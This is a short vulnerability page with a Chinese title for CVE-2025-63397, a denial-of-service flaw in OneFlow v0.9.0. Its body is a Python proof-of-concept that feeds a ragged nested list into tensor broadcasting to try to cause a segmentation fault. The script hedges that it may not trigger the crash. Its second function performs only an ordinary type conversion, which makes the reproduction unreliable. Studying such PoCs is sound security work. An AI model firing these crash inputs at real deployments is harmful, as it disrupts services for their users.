CVE-2025-63397 OneFlow v0.9.0 输入验证不当导致拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-63397 PoC - OneFlow Input Validation Issue This PoC demonstrates how improper input validation in OneFlow v0.9.0 can lead to segmentation fault during broadcasting/type conversion. """ import oneflow as flow import numpy as np def trigger_vulnerability(): """ Attempt to trigger segmentation fault by providing malformed Python sequences during broadcasting operations. """ try: # Create tensors with incompatible shapes for broadcasting tensor_a = flow.tensor([[1, 2, 3]]) # Try to broadcast with malformed sequence # This may trigger the vulnerability if input validation is missing malformed_sequence = [[1, 2], [3, 4, 5]] # Inconsistent lengths tensor_b = flow.tensor(malformed_sequence) # Attempt broadcasting operation that may cause crash result = tensor_a + tensor_b print(f"Result: {result}") print("Vulnerability may not be triggered with this specific input") except Exception as e: print(f"Exception caught: {type(e).__name__}: {e}") def trigger_type_conversion_issue(): """ Try to trigger vulnerability through type conversion with invalid data. """ try: # Create tensor with unusual data structure # The vulnerability occurs when native code receives unexpected Python sequences invalid_data = flow.tensor([[1, 2, 3]], dtype=flow.float32) # Attempt operations that involve broadcasting and type conversion result = invalid_data.to(dtype=flow.int32) print(f"Conversion result: {result}") except Exception as e: print(f"Exception caught: {type(e).__name__}: {e}") if __name__ == "__main__": print("CVE-2025-63397 PoC for OneFlow Input Validation Issue") print("=" * 60) print("Note: This PoC attempts to trigger the vulnerability but may not") print("cause segmentation fault in all environments.\n") trigger_vulnerability() print("-" * 60) trigger_type_conversion_issue()